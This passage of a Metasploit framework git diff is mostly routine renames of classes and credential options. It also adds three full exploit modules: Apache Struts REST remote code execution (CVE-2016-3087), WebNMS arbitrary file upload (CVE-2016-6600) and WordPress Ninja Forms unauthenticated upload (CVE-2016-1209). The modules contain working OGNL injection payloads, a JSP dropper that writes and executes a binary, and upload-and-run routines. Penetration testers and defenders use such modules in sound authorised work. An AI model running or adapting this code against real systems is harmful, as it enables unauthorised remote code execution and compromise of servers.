Rex::Text.rand_text_alpha(5) + + code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.close()" + + payload = generate_rce_payload(code) + params_hash = { var_b => flag } + + begin + resp = send_http_request(payload, params_hash) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_exe = rand_text_alphanumeric(4 + rand(4)) + case target['Platform'] + when 'java' + payload_exe = "#{temp_path}#{payload_exe}.jar" + pl_exe = payload.encoded_jar.pack + command = "java -jar #{payload_exe}" + when 'linux' + path = datastore['TMPPATH'] || '/tmp/' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}" + command = "/bin/sh -c #{payload_exe}" + when 'win' + path = temp_path || '.\\' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}.exe" + command = "cmd.exe /c #{payload_exe}" + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + pl_content = pl_exe.unpack('H*').join() + + print_status("Uploading exploit to #{payload_exe}, and executing it.") + upload_exec(command, payload_exe, pl_content) + + handler + end + +end diff --git a/modules/exploits/multi/http/struts_dmi_rest_exec.rb b/modules/exploits/multi/http/struts_dmi_rest_exec.rb new file mode 100644 index 0000000000..7adf4c05b2 --- /dev/null +++ b/modules/exploits/multi/http/struts_dmi_rest_exec.rb @@ -0,0 +1,204 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code + Execution can be performed when using REST Plugin with ! operator when + Dynamic Method Invocation is enabled. + }, + 'Author' => [ + 'Nixawk' # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3087' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ] + ], + 'Platform' => %w{ java linux win }, + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DisclosureDate' => 'Jun 01 2016', + 'DefaultTarget' => 2)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']), + OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) + ], self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def get_target_platform + target.platform.platforms.first + end + + def temp_path + @TMPPATH ||= lambda { + path = datastore['TMPPATH'] + return nil unless path + + case get_target_platform + when Msf::Module::Platform::Windows + slash = '\\' + when + slash = '/' + else + end + + unless path.end_with?('/') + path << '/' + end + return path + }.call + end + + def send_http_request(payload, params_hash) + uri = normalize_uri(datastore['TARGETURI']) + uri = "#{uri}/#{payload}" + resp = send_request_cgi( + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'vars_post' => params_hash + ) + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def generate_rce_payload(code) + payload = "" + payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") + payload << "," + payload << Rex::Text.uri_encode(code) + payload << "," + payload << Rex::Text.uri_encode("#xx.toString.json") + payload << "?" + payload << Rex::Text.uri_encode("#xx:#request.toString") + payload + end + + def upload_exec(cmd, filename, content) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + var_e = rand_text_alpha_lower(4) + var_f = rand_text_alpha_lower(4) + + code = "##{var_a}=new sun.misc.BASE64Decoder()," + code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0])))," + code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close()," + code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true)," + code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))" + payload = generate_rce_payload(code) + + params_hash = { + var_d => Rex::Text.encode_base64(cmd), + var_e => Rex::Text.encode_base64(filename), + var_f => content + } + send_http_request(payload, params_hash) + end + + def check + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + flag = Rex::Text.rand_text_alpha(5) + + code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.close()" + + payload = generate_rce_payload(code) + params_hash = { var_b => flag } + + begin + resp = send_http_request(payload, params_hash) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_exe = rand_text_alphanumeric(4 + rand(4)) + case target['Platform'] + when 'java' + payload_exe = "#{temp_path}#{payload_exe}.jar" + pl_exe = payload.encoded_jar.pack + command = "java -jar #{payload_exe}" + when 'linux' + path = datastore['TMPPATH'] || '/tmp/' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}" + command = "/bin/sh -c #{payload_exe}" + when 'win' + path = temp_path || '.\\' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}.exe" + command = "cmd.exe /c #{payload_exe}" + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + pl_content = pl_exe.unpack('H*').join() + + print_status("Uploading exploit to #{payload_exe}, and executing it.") + upload_exec(command, payload_exe, pl_content) + + handler + end + +end diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index 555d03f990..14f272491c 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index 6612a08732..e6df8bb6b2 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index 33e003d6bd..452faf5481 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 4ef79cf5fa..9601ddd0bd 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/http/client' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 2d879862d2..50eed593b7 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb index d2ecb468b3..1fe9f34dd9 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index b5096db680..1ef14c565f 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 75c6beda9c..fefa955d24 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } @@ -102,8 +102,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]), + OptString.new('HttpPassword', [ false, 'The password for the specified username' ]), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('PATH', [ true, "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager']) ], self.class) @@ -312,8 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['PASSWORD'].downcase, - username: datastore['USERNAME'] + private_data: datastore['HttpPassword'], + username: datastore['HttpUsername'] } credential_data.merge!(service_data) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 1098c9140f..fdcedaa6eb 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } @@ -95,8 +95,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('USERNAME', [false, 'The username to authenticate as']), - OptString.new('PASSWORD', [false, 'The password for the specified username']), + OptString.new('HttpUsername', [false, 'The username to authenticate as']), + OptString.new('HttpPassword', [false, 'The password for the specified username']), # /cognos_express/manager/ for Cognos Express (19300) OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) ], self.class) @@ -309,8 +309,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => url, 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, - 'user' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], + 'user' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], 'cookie' => @session_id, 'vars_get' => vars_get, 'data' => generate_multipart_msg(boundary_identifier, war), @@ -324,8 +324,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => url, 'vars_get' => vars_get, 'method' => 'POST', - 'user' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], + 'user' => datastore['HttpUsername'], + 'password' => datastore['HttpPassword'], 'cookie' => @session_id }) @@ -417,8 +417,8 @@ class Metasploit3 < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['PASSWORD'].downcase, - username: datastore['USERNAME'] + private_data: datastore['HttpPassword'].downcase, + username: datastore['HttpUsername'] } credential_data.merge!(service_data) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 7c972720cb..a5caeffc82 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/uptime_file_upload_1.rb b/modules/exploits/multi/http/uptime_file_upload_1.rb index 7647d7b20d..e50a1ce5aa 100644 --- a/modules/exploits/multi/http/uptime_file_upload_1.rb +++ b/modules/exploits/multi/http/uptime_file_upload_1.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb index 71fe60d2a0..ebcee62cd3 100644 --- a/modules/exploits/multi/http/uptime_file_upload_2.rb +++ b/modules/exploits/multi/http/uptime_file_upload_2.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index 1c94eb7118..c8c5958069 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index be7f303cd8..081b7421fc 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb index 15f48e6c1a..a9183cdb48 100644 --- a/modules/exploits/multi/http/vbulletin_unserialize.rb +++ b/modules/exploits/multi/http/vbulletin_unserialize.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb index 88d5e8285f..547babae28 100644 --- a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb +++ b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -53,8 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8001), - OptString.new('USERNAME', [false, "The username to authenticate with"]), - OptString.new('PASSWORD', [false, "The password to authenticate with"]) + OptString.new('HttpUsername', [false, "The username to authenticate with"]), + OptString.new('HttpPassword', [false, "The password to authenticate with"]) ], self.class) end @@ -123,10 +123,10 @@ class Metasploit3 < Msf::Exploit::Remote end def username - datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME'] + datastore['HttpUsername'].blank? ? DEFAULT_USERNAME : datastore['HttpUsername'] end def password - datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD'] + datastore['HttpPassword'].blank? ? DEFAULT_PASSWORD : datastore['HttpPassword'] end end diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb index 3e76c223bf..46076f32c4 100644 --- a/modules/exploits/multi/http/vtiger_install_rce.rb +++ b/modules/exploits/multi/http/vtiger_install_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote # Application database configuration is overwritten Rank = ManualRanking diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 92472d92bd..1ab8da5768 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb index 6769172a7a..89f2684aed 100644 --- a/modules/exploits/multi/http/vtiger_soap_upload.rb +++ b/modules/exploits/multi/http/vtiger_soap_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include REXML diff --git a/modules/exploits/multi/http/webnms_file_upload.rb b/modules/exploits/multi/http/webnms_file_upload.rb new file mode 100644 index 0000000000..250f8053eb --- /dev/null +++ b/modules/exploits/multi/http/webnms_file_upload.rb @@ -0,0 +1,224 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WebNMS Framework Server Arbitrary File Upload', + 'Description' => %q( +This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an +unauthenticated user to upload text files by using a directory traversal attack +on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and +executes a malicious payload, achieving code execution under the user which the +WebNMS server is running. +This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on +Windows and Linux. +), + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-6600'], + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 15 }, + 'Privileged' => false, + 'Platform' => %w(linux win), + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ + 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 4 2016' + ) + ) + + register_options( + [ + Opt::RPORT(9090), + OptString.new('TARGETURI', [ true, "WebNMS path", '/']) + ], + self.class + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), + 'method' => 'GET' + ) + if res && res.code == 405 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def upload_payload(payload, is_exploit) + jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp' + if is_exploit + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), + 'method' => 'POST', + 'data' => payload.to_s, + 'ctype' => 'text/html', + 'vars_get' => { 'fileName' => '../jsp/' + jsp_name } + ) + + if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/ + if is_exploit + print_status("#{peer} - Payload uploaded successfully") + end + return jsp_name + else + return nil + end + end + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + os_finder_payload = %{<%out.println(System.getProperty("os.name"));%>} + jsp_name = upload_payload(os_finder_payload, false) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), + 'method' => 'GET' + ) + + if res && res.code == 200 + register_files_for_cleanup('jsp/' + jsp_name) + if res.body.include? "Linux" + return targets[1] + elsif res.body.include? "Windows" + return targets[2] + end + end + + return nil + end + + def generate_jsp_payload + opts = { arch: @my_target.arch, platform: @my_target.platform } + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6) + 3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + jsp.delete!("\n\r\t") + return jsp + end + + def exploit + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_payload = generate_jsp_payload + jsp_name = upload_payload(jsp_payload, true) + if jsp_name.nil? + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + else + register_files_for_cleanup('jsp/' + jsp_name) + end + + print_status("#{peer} - Executing payload...") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index 8531ee69dc..4ad2b196c1 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 4ec74e7e02..10ebc7548f 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 18503fd504..6c5bc618a3 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb new file mode 100644 index 0000000000..51af361a24 --- /dev/null +++ b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', + 'Description' => %( + Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain + an unauthenticated file upload vulnerability, allowing guests + to upload arbitrary PHP code that can be executed in the context + of the web server. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Golovich', # Discovery and disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2016-1209'], + ['WPVDB', '8485'], + ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] + ], + 'DisclosureDate' => 'May 04 2016', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ninja-forms', {}]], + 'DefaultTarget' => 0 + )) + + opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] + register_options(opts, self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def check + check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') + end + + def enable_v3_functionality + print_status 'Enabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'upgrade' } + ) + + unless res && res.code == 200 + if res + fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.") + else + fail_with(Failure::Unreachable, 'Connection timed out.') + end + end + + vprint_good 'Enabled V3 functionality' + end + + def disable_v3_functionality + print_status 'Disabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'rollback' } + ) + + if res && res.code == 200 + vprint_good 'Disabled V3 functionality' + elsif !res + print_error('Connection timed out while disabling V3 functionality') + else + print_error 'Failed to disable the vulnerable V3 functionality' + end + end + + def generate_mime_message(payload_name, nonce) + data = Rex::MIME::Message.new + data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') + data.add_part(nonce, nil, nil, 'form-data; name="security"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") + data + end + + def fetch_ninja_form_nonce + uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}") + end + + form_wpnonce = res.get_hidden_inputs.first + form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce + + nonce = res.body[/var nfFrontEnd = 